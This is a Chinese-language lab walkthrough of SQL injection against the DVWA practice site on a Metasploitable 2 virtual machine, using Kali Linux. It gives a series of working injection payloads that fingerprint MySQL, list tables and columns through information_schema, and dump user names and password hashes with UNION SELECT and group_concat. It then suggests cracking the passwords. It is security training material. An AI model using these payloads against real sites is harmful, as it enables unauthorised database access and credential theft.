- 在 Kali Linux 上,進行網站的 SQL Injection 滲透攻擊。
- Kali Linux 作業系統的安裝,請參考這一篇內容
- 利用 Metasploitable 2 擔任被攻擊主機,架設方式請參考這一篇內容
重要步驟
- 啟動 Kali Linux 作業系統,並且以 Kali 帳號登入系統。
- 使用 Terminal,先進行系統更新的動作:
$ sudo apt update $ sudo apt upgrade $ sudo apt dist-upgrade
- 開啟 Firefox ,登入 Metasploitable 2 主機的 DVWA 站台(帳密:admin / password)
- 先選擇低等級的安全設定,以利練習。之後,若熟悉 SQL 語法之後,再進行調成中、高等
- 選擇 SQL Injection
- 在 User ID: 下方欄位,輸入下列指令並按下送出:
1' or '1 = 1
- 由以上輸出,可以了解幾件事:
- 該資料庫沒有防 SQL Injection 的機制
- 輸出的資料欄位共有兩個欄位,應該可以稍加利用
- 兩次進行測試,利用 try and error 方式,查探是哪一種資料庫:
1' or show databases#
PS:由錯誤訊息中,了解其背後的資料庫是 MySQL - 使用 MySQL 專用的 information_schema 資料庫,查探資料庫名稱:
1' UNION SELECT 1, database() from information_schema.schemata#
PS:明顯發現資料庫名稱是 dvwa - 接下來,可開始抽絲剝繭,查看 dvwa 資料庫內有何資料表:
1' UNION SELECT 1, table_name from information_schema.tables where table_schema='dvwa'#
PS:共有兩張表格可以查看。其中的 users 表格,可能藏有使用者個資。 - 再進一步針對有興趣的資料表 users ,進行欄位資料的查詢:
1' UNION SELECT 1, column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
PS:顯然最後三個欄位 user, password, avatar 是令人有興趣取得的資料 - 再進一步將有興趣的欄位資料內容,列出來:
1' UNION SELECT 1,group_concat(user,0x3a,password,0x3a,avatar) from users#
PS:帳號密碼與照片的連結均露出,可再進一步進行密碼的破譯。